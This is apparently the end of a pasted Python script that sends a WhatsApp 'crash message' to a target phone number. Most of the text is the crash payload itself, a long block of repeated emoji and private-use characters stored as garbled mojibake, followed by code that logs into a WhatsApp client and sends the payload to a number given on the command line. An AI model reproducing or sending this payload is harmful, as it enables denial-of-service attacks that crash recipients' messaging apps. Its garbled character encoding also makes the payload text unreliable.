๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„"
  105.  
  106.         #print countryCode, login, identity, password
  107.         wa = WhatsappEchoClient(phone, message)
  108.         wa.login(login, password)
  109.      
  110. if __name__ == "__main__":
  111.     parser = argparse.ArgumentParser()
  112.     parser.add_argument("number", help="Phone number to send the crash message")
  113.     parser.add_argument("-v", "--verbose", help="increase output verbosity", action="store_true")
  114.     args = parser.parse_args()
  115.  
  116.     Debugger.enabled = args.verbose
  117.     main(args.number)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement